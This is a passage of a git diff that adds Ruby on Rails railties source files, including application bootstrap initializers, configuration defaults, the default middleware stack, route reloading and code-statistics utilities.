+      default_stack = DefaultMiddlewareStack.new(self, config, paths)
+      default_stack.build_stack
+    end
+
+    def validate_secret_key_config! #:nodoc:
+      if secrets.secret_key_base.blank?
+        ActiveSupport::Deprecation.warn "You didn't set `secret_key_base`. " \
+          "Read the upgrade documentation to learn more about this new config option."
+
+        if secrets.secret_token.blank?
+          raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`"
+        end
+      end
+    end
+
+    private
+
+      def build_request(env)
+        req = super
+        env["ORIGINAL_FULLPATH"] = req.fullpath
+        env["ORIGINAL_SCRIPT_NAME"] = req.script_name
+        req
+      end
+
+      def build_middleware
+        config.app_middleware + super
+      end
+  end
+end
diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb
new file mode 100644
index 0000000000..44b49556d7
--- /dev/null
+++ b/railties/lib/rails/application/bootstrap.rb
@@ -0,0 +1,87 @@
+require "fileutils"
+require "active_support/notifications"
+require "active_support/dependencies"
+require "active_support/descendants_tracker"
+require_relative "../secrets"
+
+module Rails
+  class Application
+    module Bootstrap
+      include Initializable
+
+      initializer :load_environment_hook, group: :all do end
+
+      initializer :load_active_support, group: :all do
+        require "active_support/all" unless config.active_support.bare
+      end
+
+      initializer :set_eager_load, group: :all do
+        if config.eager_load.nil?
+          warn <<-INFO
+config.eager_load is set to nil. Please update your config/environments/*.rb files accordingly:
+
+  * development - set it to false
+  * test - set it to false (unless you use a tool that preloads your test environment)
+  * production - set it to true
+
+INFO
+          config.eager_load = config.cache_classes
+        end
+      end
+
+      # Initialize the logger early in the stack in case we need to log some deprecation.
+      initializer :initialize_logger, group: :all do
+        Rails.logger ||= config.logger || begin
+          path = config.paths["log"].first
+          unless File.exist? File.dirname path
+            FileUtils.mkdir_p File.dirname path
+          end
+
+          f = File.open path, "a"
+          f.binmode
+          f.sync = config.autoflush_log # if true make sure every write flushes
+
+          logger = ActiveSupport::Logger.new f
+          logger.formatter = config.log_formatter
+          logger = ActiveSupport::TaggedLogging.new(logger)
+          logger
+        rescue StandardError
+          logger = ActiveSupport::TaggedLogging.new(ActiveSupport::Logger.new(STDERR))
+          logger.level = ActiveSupport::Logger::WARN
+          logger.warn(
+            "Rails Error: Unable to access log file. Please ensure that #{path} exists and is writable " \
+            "(ie, make it writable for user and group: chmod 0664 #{path}). " \
+            "The log level has been raised to WARN and the output directed to STDERR until the problem is fixed."
+          )
+          logger
+        end
+
+        Rails.logger.level = ActiveSupport::Logger.const_get(config.log_level.to_s.upcase)
+      end
+
+      # Initialize cache early in the stack so railties can make use of it.
+      initializer :initialize_cache, group: :all do
+        unless Rails.cache
+          Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store)
+
+          if Rails.cache.respond_to?(:middleware)
+            config.middleware.insert_before(::Rack::Runtime, Rails.cache.middleware)
+          end
+        end
+      end
+
+      # Sets the dependency loading mechanism.
+      initializer :initialize_dependency_mechanism, group: :all do
+        ActiveSupport::Dependencies.mechanism = config.cache_classes ? :require : :load
+      end
+
+      initializer :bootstrap_hook, group: :all do |app|
+        ActiveSupport.run_load_hooks(:before_initialize, app)
+      end
+
+      initializer :set_secrets_root, group: :all do
+        Rails::Secrets.root = root
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb
new file mode 100644
index 0000000000..4797223380
--- /dev/null
+++ b/railties/lib/rails/application/configuration.rb
@@ -0,0 +1,250 @@
+require "active_support/core_ext/kernel/reporting"
+require "active_support/file_update_checker"
+require_relative "../engine/configuration"
+require_relative "../source_annotation_extractor"
+
+module Rails
+  class Application
+    class Configuration < ::Rails::Engine::Configuration
+      attr_accessor :allow_concurrency, :asset_host, :autoflush_log,
+                    :cache_classes, :cache_store, :consider_all_requests_local, :console,
+                    :eager_load, :exceptions_app, :file_watcher, :filter_parameters,
+                    :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags,
+                    :railties_order, :relative_url_root, :secret_key_base, :secret_token,
+                    :ssl_options, :public_file_server,
+                    :session_options, :time_zone, :reload_classes_only_on_change,
+                    :beginning_of_week, :filter_redirect, :x, :enable_dependency_loading,
+                    :read_encrypted_secrets, :log_level
+
+      attr_reader :encoding, :api_only
+
+      def initialize(*)
+        super
+        self.encoding                    = Encoding::UTF_8
+        @allow_concurrency               = nil
+        @consider_all_requests_local     = false
+        @filter_parameters               = []
+        @filter_redirect                 = []
+        @helpers_paths                   = []
+        @public_file_server              = ActiveSupport::OrderedOptions.new
+        @public_file_server.enabled      = true
+        @public_file_server.index_name   = "index"
+        @force_ssl                       = false
+        @ssl_options                     = {}
+        @session_store                   = nil
+        @time_zone                       = "UTC"
+        @beginning_of_week               = :monday
+        @log_level                       = :debug
+        @generators                      = app_generators
+        @cache_store                     = [ :file_store, "#{root}/tmp/cache/" ]
+        @railties_order                  = [:all]
+        @relative_url_root               = ENV["RAILS_RELATIVE_URL_ROOT"]
+        @reload_classes_only_on_change   = true
+        @file_watcher                    = ActiveSupport::FileUpdateChecker
+        @exceptions_app                  = nil
+        @autoflush_log                   = true
+        @log_formatter                   = ActiveSupport::Logger::SimpleFormatter.new
+        @eager_load                      = nil
+        @secret_token                    = nil
+        @secret_key_base                 = nil
+        @api_only                        = false
+        @debug_exception_response_format = nil
+        @x                               = Custom.new
+        @enable_dependency_loading       = false
+        @read_encrypted_secrets          = false
+      end
+
+      def load_defaults(target_version)
+        case target_version.to_s
+        when "5.0"
+          if respond_to?(:action_controller)
+            action_controller.per_form_csrf_tokens = true
+            action_controller.forgery_protection_origin_check = true
+          end
+
+          ActiveSupport.to_time_preserves_timezone = true
+
+          if respond_to?(:active_record)
+            active_record.belongs_to_required_by_default = true
+          end
+
+          self.ssl_options = { hsts: { subdomains: true } }
+
+        when "5.1"
+          load_defaults "5.0"
+
+          if respond_to?(:assets)
+            assets.unknown_asset_fallback = false
+          end
+
+          if respond_to?(:action_view)
+            action_view.form_with_generates_remote_forms = true
+          end
+
+        when "5.2"
+          load_defaults "5.1"
+
+          if respond_to?(:active_record)
+            active_record.cache_versioning = true
+            # Remove the temporary load hook from SQLite3Adapter when this is removed
+            ActiveSupport.on_load(:active_record_sqlite3adapter) do
+              ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = true
+            end
+          end
+
+          if respond_to?(:action_dispatch)
+            action_dispatch.use_authenticated_cookie_encryption = true
+          end
+
+          if respond_to?(:active_support)
+            active_support.use_authenticated_message_encryption = true
+          end
+
+          if respond_to?(:action_controller)
+            action_controller.default_protect_from_forgery = true
+          end
+
+        else
+          raise "Unknown version #{target_version.to_s.inspect}"
+        end
+      end
+
+      def encoding=(value)
+        @encoding = value
+        silence_warnings do
+          Encoding.default_external = value
+          Encoding.default_internal = value
+        end
+      end
+
+      def api_only=(value)
+        @api_only = value
+        generators.api_only = value
+
+        @debug_exception_response_format ||= :api
+      end
+
+      def debug_exception_response_format
+        @debug_exception_response_format || :default
+      end
+
+      def debug_exception_response_format=(value)
+        @debug_exception_response_format = value
+      end
+
+      def paths
+        @paths ||= begin
+          paths = super
+          paths.add "config/database",    with: "config/database.yml"
+          paths.add "config/secrets",     with: "config", glob: "secrets.yml{,.enc}"
+          paths.add "config/environment", with: "config/environment.rb"
+          paths.add "lib/templates"
+          paths.add "log",                with: "log/#{Rails.env}.log"
+          paths.add "public"
+          paths.add "public/javascripts"
+          paths.add "public/stylesheets"
+          paths.add "tmp"
+          paths
+        end
+      end
+
+      # Loads and returns the entire raw configuration of database from
+      # values stored in `config/database.yml`.
+      def database_configuration
+        path = paths["config/database"].existent.first
+        yaml = Pathname.new(path) if path
+
+        config = if yaml && yaml.exist?
+          require "yaml"
+          require "erb"
+          loaded_yaml = YAML.load(ERB.new(yaml.read).result) || {}
+          shared = loaded_yaml.delete("shared")
+          if shared
+            loaded_yaml.each do |_k, values|
+              values.reverse_merge!(shared)
+            end
+          end
+          Hash.new(shared).merge(loaded_yaml)
+        elsif ENV["DATABASE_URL"]
+          # Value from ENV['DATABASE_URL'] is set to default database connection
+          # by Active Record.
+          {}
+        else
+          raise "Could not load database configuration. No such file - #{paths["config/database"].instance_variable_get(:@paths)}"
+        end
+
+        config
+      rescue Psych::SyntaxError => e
+        raise "YAML syntax error occurred while parsing #{paths["config/database"].first}. " \
+              "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+              "Error: #{e.message}"
+      rescue => e
+        raise e, "Cannot load `Rails.application.database_configuration`:\n#{e.message}", e.backtrace
+      end
+
+      def colorize_logging
+        ActiveSupport::LogSubscriber.colorize_logging
+      end
+
+      def colorize_logging=(val)
+        ActiveSupport::LogSubscriber.colorize_logging = val
+        generators.colorize_logging = val
+      end
+
+      def session_store(new_session_store = nil, **options)
+        if new_session_store
+          if new_session_store == :active_record_store
+            begin
+              ActionDispatch::Session::ActiveRecordStore
+            rescue NameError
+              raise "`ActiveRecord::SessionStore` is extracted out of Rails into a gem. " \
+                "Please add `activerecord-session_store` to your Gemfile to use it."
+            end
+          end
+
+          @session_store = new_session_store
+          @session_options = options || {}
+        else
+          case @session_store
+          when :disabled
+            nil
+          when :active_record_store
+            ActionDispatch::Session::ActiveRecordStore
+          when Symbol
+            ActionDispatch::Session.const_get(@session_store.to_s.camelize)
+          else
+            @session_store
+          end
+        end
+      end
+
+      def session_store? #:nodoc:
+        @session_store
+      end
+
+      def annotations
+        SourceAnnotationExtractor::Annotation
+      end
+
+      class Custom #:nodoc:
+        def initialize
+          @configurations = Hash.new
+        end
+
+        def method_missing(method, *args)
+          if method =~ /=$/
+            @configurations[$`.to_sym] = args.first
+          else
+            @configurations.fetch(method) {
+              @configurations[method] = ActiveSupport::OrderedOptions.new
+            }
+          end
+        end
+
+        def respond_to_missing?(symbol, *)
+          true
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
new file mode 100644
index 0000000000..63300ffef3
--- /dev/null
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -0,0 +1,99 @@
+module Rails
+  class Application
+    class DefaultMiddlewareStack
+      attr_reader :config, :paths, :app
+
+      def initialize(app, config, paths)
+        @app = app
+        @config = config
+        @paths = paths
+      end
+
+      def build_stack
+        ActionDispatch::MiddlewareStack.new do |middleware|
+          if config.force_ssl
+            middleware.use ::ActionDispatch::SSL, config.ssl_options
+          end
+
+          middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
+
+          if config.public_file_server.enabled
+            headers = config.public_file_server.headers || {}
+
+            middleware.use ::ActionDispatch::Static, paths["public"].first, index: config.public_file_server.index_name, headers: headers
+          end
+
+          if rack_cache = load_rack_cache
+            require "action_dispatch/http/rack_cache"
+            middleware.use ::Rack::Cache, rack_cache
+          end
+
+          if config.allow_concurrency == false
+            # User has explicitly opted out of concurrent request
+            # handling: presumably their code is not threadsafe
+
+            middleware.use ::Rack::Lock
+          end
+
+          middleware.use ::ActionDispatch::Executor, app.executor
+
+          middleware.use ::Rack::Runtime
+          middleware.use ::Rack::MethodOverride unless config.api_only
+          middleware.use ::ActionDispatch::RequestId
+          middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
+
+          middleware.use ::Rails::Rack::Logger, config.log_tags
+          middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
+          middleware.use ::ActionDispatch::DebugExceptions, app, config.debug_exception_response_format
+
+          unless config.cache_classes
+            middleware.use ::ActionDispatch::Reloader, app.reloader
+          end
+
+          middleware.use ::ActionDispatch::Callbacks
+          middleware.use ::ActionDispatch::Cookies unless config.api_only
+
+          if !config.api_only && config.session_store
+            if config.force_ssl && config.ssl_options.fetch(:secure_cookies, true) && !config.session_options.key?(:secure)
+              config.session_options[:secure] = true
+            end
+            middleware.use config.session_store, config.session_options
+            middleware.use ::ActionDispatch::Flash
+          end
+
+          middleware.use ::Rack::Head
+          middleware.use ::Rack::ConditionalGet
+          middleware.use ::Rack::ETag, "no-cache"
+        end
+      end
+
+      private
+
+        def load_rack_cache
+          rack_cache = config.action_dispatch.rack_cache
+          return unless rack_cache
+
+          begin
+            require "rack/cache"
+          rescue LoadError => error
+            error.message << " Be sure to add rack-cache to your Gemfile"
+            raise
+          end
+
+          if rack_cache == true
+            {
+              metastore: "rails:/",
+              entitystore: "rails:/",
+              verbose: false
+            }
+          else
+            rack_cache
+          end
+        end
+
+        def show_exceptions_app
+          config.exceptions_app || ActionDispatch::PublicExceptions.new(Rails.public_path)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
new file mode 100644
index 0000000000..c027d06663
--- /dev/null
+++ b/railties/lib/rails/application/finisher.rb
@@ -0,0 +1,194 @@
+module Rails
+  class Application
+    module Finisher
+      include Initializable
+
+      initializer :add_generator_templates do
+        config.generators.templates.unshift(*paths["lib/templates"].existent)
+      end
+
+      initializer :ensure_autoload_once_paths_as_subset do
+        extra = ActiveSupport::Dependencies.autoload_once_paths -
+                ActiveSupport::Dependencies.autoload_paths
+
+        unless extra.empty?
+          abort <<-end_error
+            autoload_once_paths must be a subset of the autoload_paths.
+            Extra items in autoload_once_paths: #{extra * ','}
+          end_error
+        end
+      end
+
+      initializer :add_builtin_route do |app|
+        if Rails.env.development?
+          app.routes.prepend do
+            get "/rails/info/properties" => "rails/info#properties", internal: true
+            get "/rails/info/routes"     => "rails/info#routes", internal: true
+            get "/rails/info"            => "rails/info#index", internal: true
+          end
+
+          app.routes.append do
+            get "/"                      => "rails/welcome#index", internal: true
+          end
+        end
+      end
+
+      # Setup default session store if not already set in config/application.rb
+      initializer :setup_default_session_store, before: :build_middleware_stack do |app|
+        unless app.config.session_store?
+          app_name = app.class.name ? app.railtie_name.chomp("_application") : ""
+          app.config.session_store :cookie_store, key: "_#{app_name}_session"
+        end
+      end
+
+      initializer :build_middleware_stack do
+        build_middleware_stack
+      end
+
+      initializer :define_main_app_helper do |app|
+        app.routes.define_mounted_helper(:main_app)
+      end
+
+      initializer :add_to_prepare_blocks do |app|
+        config.to_prepare_blocks.each do |block|
+          app.reloader.to_prepare(&block)
+        end
+      end
+
+      # This needs to happen before eager load so it happens
+      # in exactly the same point regardless of config.cache_classes
+      initializer :run_prepare_callbacks do |app|
+        app.reloader.prepare!
+      end
+
+      initializer :eager_load! do
+        if config.eager_load
+          ActiveSupport.run_load_hooks(:before_eager_load, self)
+          config.eager_load_namespaces.each(&:eager_load!)
+        end
+      end
+
+      # All initialization is done, including eager loading in production
+      initializer :finisher_hook do
+        ActiveSupport.run_load_hooks(:after_initialize, self)
+      end
+
+      class MutexHook
+        def initialize(mutex = Mutex.new)
+          @mutex = mutex
+        end
+
+        def run
+          @mutex.lock
+        end
+
+        def complete(_state)
+          @mutex.unlock
+        end
+      end
+
+      module InterlockHook
+        def self.run
+          ActiveSupport::Dependencies.interlock.start_running
+        end
+
+        def self.complete(_state)
+          ActiveSupport::Dependencies.interlock.done_running
+        end
+      end
+
+      initializer :configure_executor_for_concurrency do |app|
+        if config.allow_concurrency == false
+          # User has explicitly opted out of concurrent request
+          # handling: presumably their code is not threadsafe
+
+          app.executor.register_hook(MutexHook.new, outer: true)
+
+        elsif config.allow_concurrency == :unsafe
+          # Do nothing, even if we know this is dangerous. This is the
+          # historical behavior for true.
+
+        else
+          # Default concurrency setting: enabled, but safe
+
+          unless config.cache_classes && config.eager_load
+            # Without cache_classes + eager_load, the load interlock
+            # is required for proper operation
+
+            app.executor.register_hook(InterlockHook, outer: true)
+          end
+        end
+      end
+
+      # Set routes reload after the finisher hook to ensure routes added in
+      # the hook are taken into account.
+      initializer :set_routes_reloader_hook do |app|
+        reloader = routes_reloader
+        reloader.eager_load = app.config.eager_load
+        reloader.execute_if_updated
+        reloaders << reloader
+        app.reloader.to_run do
+          # We configure #execute rather than #execute_if_updated because if
+          # autoloaded constants are cleared we need to reload routes also in
+          # case any was used there, as in
+          #
+          #   mount MailPreview => 'mail_view'
+          #
+          # This means routes are also reloaded if i18n is updated, which
+          # might not be necessary, but in order to be more precise we need
+          # some sort of reloaders dependency support, to be added.
+          require_unload_lock!
+          reloader.execute
+        end
+      end
+
+      # Set clearing dependencies after the finisher hook to ensure paths
+      # added in the hook are taken into account.
+      initializer :set_clear_dependencies_hook, group: :all do |app|
+        callback = lambda do
+          ActiveSupport::DescendantsTracker.clear
+          ActiveSupport::Dependencies.clear
+        end
+
+        if config.cache_classes
+          app.reloader.check = lambda { false }
+        elsif config.reload_classes_only_on_change
+          app.reloader.check = lambda do
+            app.reloaders.map(&:updated?).any?
+          end
+        else
+          app.reloader.check = lambda { true }
+        end
+
+        if config.reload_classes_only_on_change
+          reloader = config.file_watcher.new(*watchable_args, &callback)
+          reloaders << reloader
+
+          # Prepend this callback to have autoloaded constants cleared before
+          # any other possible reloading, in case they need to autoload fresh
+          # constants.
+          app.reloader.to_run(prepend: true) do
+            # In addition to changes detected by the file watcher, if routes
+            # or i18n have been updated we also need to clear constants,
+            # that's why we run #execute rather than #execute_if_updated, this
+            # callback has to clear autoloaded constants after any update.
+            class_unload! do
+              reloader.execute
+            end
+          end
+        else
+          app.reloader.to_complete do
+            class_unload!(&callback)
+          end
+        end
+      end
+
+      # Disable dependency loading during request cycle
+      initializer :disable_dependency_loading do
+        if config.eager_load && config.cache_classes && !config.enable_dependency_loading
+          ActiveSupport::Dependencies.unhook!
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
new file mode 100644
index 0000000000..e02ef629f2
--- /dev/null
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -0,0 +1,69 @@
+require "active_support/core_ext/module/delegation"
+
+module Rails
+  class Application
+    class RoutesReloader
+      attr_reader :route_sets, :paths
+      attr_accessor :eager_load
+      delegate :updated?, to: :updater
+
+      def initialize
+        @paths      = []
+        @route_sets = []
+        @eager_load = false
+      end
+
+      def reload!
+        clear!
+        load_paths
+        finalize!
+      ensure
+        revert
+      end
+
+      def execute
+        ret = updater.execute
+        route_sets.each(&:eager_load!) if eager_load
+        ret
+      end
+
+      def execute_if_updated
+        if updated = updater.execute_if_updated
+          route_sets.each(&:eager_load!) if eager_load
+        end
+        updated
+      end
+
+    private
+
+      def updater
+        @updater ||= begin
+          updater = ActiveSupport::FileUpdateChecker.new(paths) { reload! }
+          updater.execute
+          updater
+        end
+      end
+
+      def clear!
+        route_sets.each do |routes|
+          routes.disable_clear_and_finalize = true
+          routes.clear!
+        end
+      end
+
+      def load_paths
+        paths.each { |path| load(path) }
+      end
+
+      def finalize!
+        route_sets.each(&:finalize!)
+      end
+
+      def revert
+        route_sets.each do |routes|
+          routes.disable_clear_and_finalize = false
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
new file mode 100644
index 0000000000..f7d112900a
--- /dev/null
+++ b/railties/lib/rails/application_controller.rb
@@ -0,0 +1,16 @@
+class Rails::ApplicationController < ActionController::Base # :nodoc:
+  self.view_paths = File.expand_path("templates", __dir__)
+  layout "application"
+
+  private
+
+    def require_local!
+      unless local_request?
+        render html: "<p>For security purposes, this information is only available to local requests.</p>".html_safe, status: :forbidden
+      end
+    end
+
+    def local_request?
+      Rails.application.config.consider_all_requests_local || request.local?
+    end
+end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
new file mode 100644
index 0000000000..3bd18ebfb5
--- /dev/null
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -0,0 +1,32 @@
+require "active_support/backtrace_cleaner"
+
+module Rails
+  class BacktraceCleaner < ActiveSupport::BacktraceCleaner
+    APP_DIRS_PATTERN = /^\/?(app|config|lib|test|\(\w*\))/
+    RENDER_TEMPLATE_PATTERN = /:in `_render_template_\w*'/
+    EMPTY_STRING = "".freeze
+    SLASH        = "/".freeze
+    DOT_SLASH    = "./".freeze
+
+    def initialize
+      super
+      @root = "#{Rails.root}/".freeze
+      add_filter { |line| line.sub(@root, EMPTY_STRING) }
+      add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, EMPTY_STRING) }
+      add_filter { |line| line.sub(DOT_SLASH, SLASH) } # for tests
+
+      add_gem_filters
+      add_silencer { |line| !APP_DIRS_PATTERN.match?(line) }
+    end
+
+    private
+      def add_gem_filters
+        gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
+        return if gems_paths.empty?
+
+        gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
+        gems_result = '\2 (\3) \4'.freeze
+        add_filter { |line| line.sub(gems_regexp, gems_result) }
+      end
+  end
+end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
new file mode 100644
index 0000000000..602e56c961
--- /dev/null
+++ b/railties/lib/rails/cli.rb
@@ -0,0 +1,17 @@
+require_relative "app_loader"
+
+# If we are inside a Rails application this method performs an exec and thus
+# the rest of this script is not run.
+Rails::AppLoader.exec_app
+
+require_relative "ruby_version_check"
+Signal.trap("INT") { puts; exit(1) }
+
+require_relative "command"
+
+if ARGV.first == "plugin"
+  ARGV.shift
+  Rails::Command.invoke :plugin, ARGV
+else
+  Rails::Command.invoke :application, ARGV
+end
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
new file mode 100644
index 0000000000..5e0d807a21
--- /dev/null
+++ b/railties/lib/rails/code_statistics.rb
@@ -0,0 +1,113 @@
+require_relative "code_statistics_calculator"
+require "active_support/core_ext/enumerable"
+
+class CodeStatistics #:nodoc:
+  TEST_TYPES = ["Controller tests",
+                "Helper tests",
+                "Model tests",
+                "Mailer tests",
+                "Job tests",
+                "Integration tests",
+                "System tests"]
+
+  HEADERS = { lines: " Lines", code_lines: "   LOC", classes: "Classes", methods: "Methods" }
+
+  def initialize(*pairs)
+    @pairs      = pairs
+    @statistics = calculate_statistics
+    @total      = calculate_total if pairs.length > 1
+  end
+
+  def to_s
+    print_header
+    @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
+    print_splitter
+
+    if @total
+      print_line("Total", @total)
+      print_splitter
+    end
+
+    print_code_test_stats
+  end
+
+  private
+    def calculate_statistics
+      Hash[@pairs.map { |pair| [pair.first, calculate_directory_statistics(pair.last)] }]
+    end
+
+    def calculate_directory_statistics(directory, pattern = /^(?!\.).*?\.(rb|js|coffee|rake)$/)
+      stats = CodeStatisticsCalculator.new
+
+      Dir.foreach(directory) do |file_name|
+        path = "#{directory}/#{file_name}"
+
+        if File.directory?(path) && (/^\./ !~ file_name)
+          stats.add(calculate_directory_statistics(path, pattern))
+        elsif file_name =~ pattern
+          stats.add_by_file_path(path)
+        end
+      end
+
+      stats
+    end
+
+    def calculate_total
+      @statistics.each_with_object(CodeStatisticsCalculator.new) do |pair, total|
+        total.add(pair.last)
+      end
+    end
+
+    def calculate_code
+      code_loc = 0
+      @statistics.each { |k, v| code_loc += v.code_lines unless TEST_TYPES.include? k }
+      code_loc
+    end
+
+    def calculate_tests
+      test_loc = 0
+      @statistics.each { |k, v| test_loc += v.code_lines if TEST_TYPES.include? k }
+      test_loc
+    end
+
+    def width_for(label)
+      [@statistics.values.sum { |s| s.send(label) }.to_s.size, HEADERS[label].length].max
+    end
+
+    def print_header
+      print_splitter
+      print "| Name                "
+      HEADERS.each do |k, v|
+        print " | #{v.rjust(width_for(k))}"
+      end
+      puts " | M/C | LOC/M |"
+      print_splitter
+    end
+
+    def print_splitter
+      print "+----------------------"
+      HEADERS.each_key do |k|
+        print "+#{'-' * (width_for(k) + 2)}"
+      end
+      puts "+-----+-------+"
+    end
+
+    def print_line(name, statistics)
+      m_over_c   = (statistics.methods / statistics.classes) rescue m_over_c = 0
+      loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue loc_over_m = 0
+
+      print "| #{name.ljust(20)} "
+      HEADERS.each_key do |k|
+        print "| #{statistics.send(k).to_s.rjust(width_for(k))} "
+      end
+      puts "| #{m_over_c.to_s.rjust(3)} | #{loc_over_m.to_s.rjust(5)} |"
+    end
+
+    def print_code_test_stats
+      code  = calculate_code
+      tests = calculate_tests
+
+      puts "  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f / code)}"
+      puts ""
+    end
+end
diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb
new file mode 100644
index 0000000000..d0194af197
--- /dev/null
+++ b/railties/lib/rails/code_statistics_calculator.rb
@@ -0,0 +1,86 @@
+class CodeStatisticsCalculator #:nodoc:
+  attr_reader :lines, :code_lines, :classes, :methods
+
+  PATTERNS = {
+    rb: {
+      line_comment: /^\s*#/,
+      begin_block_comment: /^=begin/,
+      end_block_comment: /^=end/,
+      class: /^\s*class\s+[_A-Z]/,
+      method: /^\s*def\s+[_a-z]/,
+    },
+    js: {
+      line_comment: %r{^\s*//},
+      begin_block_comment: %r{^\s*/\*},
+      end_block_comment: %r{\*/},
+      method: /function(\s+[_a-zA-Z][\da-zA-Z]*)?\s*\(/,
+    },
+    coffee: {
+      line_comment: /^\s*#/,
+      begin_block_comment: /^\s*###/,
+      end_block_comment: /^\s*###/,
+      class: /^\s*class\s+[_A-Z]/,
+      method: /[-=]>/,
+    }
+  }
+
+  PATTERNS[:minitest] = PATTERNS[:rb].merge method: /^\s*(def|test)\s+['"_a-z]/
+  PATTERNS[:rake] = PATTERNS[:rb]
+
+  def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
+    @lines = lines
+    @code_lines = code_lines
+    @classes = classes
+    @methods = methods
+  end
+
+  def add(code_statistics_calculator)
+    @lines += code_statistics_calculator.lines
+    @code_lines += code_statistics_calculator.code_lines
+    @classes += code_statistics_calculator.classes
+    @methods += code_statistics_calculator.methods
+  end
+
+  def add_by_file_path(file_path)
+    File.open(file_path) do |f|
+      add_by_io(f, file_type(file_path))
+    end
+  end
+
+  def add_by_io(io, file_type)
+    patterns = PATTERNS[file_type] || {}
+
+    comment_started = false
+
+    while line = io.gets
+      @lines += 1
+
+      if comment_started
+        if patterns[:end_block_comment] && line =~ patterns[:end_block_comment]
+          comment_started = false
+        end
+        next
+      else
+        if patterns[:begin_block_comment] && line =~ patterns[:begin_block_comment]
+          comment_started = true
+          next
+        end
+      end
+
+      @classes   += 1 if patterns[:class] && line =~ patterns[:class]
+      @methods   += 1 if patterns[:method] && line =~ patterns[:method]
+      if line !~ /^\s*$/ && (patterns[:line_comment].nil? || line !~ patterns[:line_comment])
+        @code_lines += 1
+      end
+    end
+  end
+
+  private
+    def file_type(file_path)
+      if file_path.end_with? "_test.rb"
+        :minitest
+      else
+        File.extname(file_path).sub(/\A\./, "").downcase.to_sym
+      end
+    end
+end
diff --git a/railties/lib/rails/command.rb b/railties/lib/rails/command.rb
new file mode 100644
index 0000000000..ee020b58f9
--- /dev/null
+++ b/railties/lib/rails/command.rb
@@ -0,0 +1,111 @@
+require "active_support"
+require "active_support/dependencies/autoload"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/object/blank"
+require "active_support/core_ext/hash/transform_values"
+
+require "thor"
+
+module Rails
+  module Command
+    extend ActiveSupport::Autoload
+
+    autoload :Behavior
+    autoload :Base
+
+    include Behavior
+
+    HELP_MAPPINGS = %w(-h -? --help)
+
+    class << self
+      def hidden_commands # :nodoc:
+        @hidden_commands ||= []
+      end
+
+      def environment # :nodoc:
+        ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development"
+      end
+
+      # Receives a namespace, arguments and the behavior to invoke the command.
+      def invoke(full_namespace, args = [], **config)
+        namespace = full_namespace = full_namespace.to_s
+
+        if char = namespace =~ /:(\w+)$/
+          command_name, namespace = $1, namespace.slice(0, char)
+        else
+          command_name = namespace
+        end
+
+        command_name, namespace = "help", "help" if command_name.blank? || HELP_MAPPINGS.include?(command_name)
+        command_name, namespace = "version", "version" if %w( -v --version ).include?(command_name)
+
+        command = find_by_namespace(namespace, command_name)
+        if command && command.all_commands[command_name]
+          command.perform(command_name, args, config)
+        else
+          find_by_namespace("rake").perform(full_namespace, args, config)
+        end
+      end
+
+      # Rails finds namespaces similar to Thor, it only adds one rule:
+      #
+      # Command names must end with "_command.rb". This is required because Rails
+      # looks in load paths and loads the command just before it's going to be used.
+      #
+      #   find_by_namespace :webrat, :rails, :integration
+      #
+      # Will search for the following commands:
+      #
+      #   "rails:webrat", "webrat:integration", "webrat"
+      #
+      # Notice that "rails:commands:webrat" could be loaded as well, what
+      # Rails looks for is the first and last parts of the namespace.
+      def find_by_namespace(namespace, command_name = nil) # :nodoc:
+        lookups = [ namespace ]
+        lookups << "#{namespace}:#{command_name}" if command_name
+        lookups.concat lookups.map { |lookup| "rails:#{lookup}" }
+
+        lookup(lookups)
+
+        namespaces = subclasses.index_by(&:namespace)
+        namespaces[(lookups & namespaces.keys).first]
+      end
+
+      # Returns the root of the Rails engine or app running the command.
+      def root
+        if defined?(ENGINE_ROOT)
+          Pathname.new(ENGINE_ROOT)
+        elsif defined?(APP_PATH)
+          Pathname.new(File.expand_path("../..", APP_PATH))
+        end
+      end
+
+      def print_commands # :nodoc:
+        sorted_groups.each { |b, n| print_list(b, n) }
+      end
+
+      def sorted_groups # :nodoc:
+        lookup!
+
+        groups = (subclasses - hidden_commands).group_by { |c| c.namespace.split(":").first }
+        groups.transform_values! { |commands| commands.flat_map(&:printing_commands).sort }
+
+        rails = groups.delete("rails")
+        [[ "rails", rails ]] + groups.sort.to_a
+      end
+
+      private
+        def command_type # :doc:
+          @command_type ||= "command"
+        end
+
+        def lookup_paths # :doc:
